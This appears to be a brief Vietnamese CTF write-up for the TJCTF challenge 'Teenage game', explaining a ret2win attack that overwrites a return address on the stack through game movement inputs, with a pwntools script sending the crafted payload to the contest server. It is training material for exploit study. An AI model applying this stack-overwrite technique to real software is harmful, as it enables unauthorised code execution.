🎪Teenage game - TJCTF202
Challenge

Solution

Việc của ta là phải thay đổi địa chỉ trên stack thành win
để nó ret2win

Có 1 điều nữa để bạn có thể làm bài này đó là phần con trỏ trả về hàm main: này gần với hàm win. Nhìn ảnh thứ 3 bên trên:

Mình lấy xấp xỉ bởi vì có thể có sai số nào đó mình ko lường được. Sau khi thử với 62 bytes, nếu may mắn bạn có thể overwrite đến win+4
nếu không thì nó sẽ báo segment fault và bạn chú ý địa chỉ bị segment fault có chứa byte 0xe4
không. Sau đó bạn sẽ chỉnh cộng trừ tùy từng trường hợp.
from pwn import *
elf = ELF("./game")
r = elf.process()
r = remote("tjc.tf", 31119)
# gdb.attach(r,
# '''
# b*move_player+213\n
# c
# '''
# )
payload = b"l\xe4wwww" + ((62) * b"d") + b"w"
r.sendline(payload)
r.interactive()
"w" có chức năng overwrite ret2main --> ret2win (trong trường hợp này)
Solved

Last updated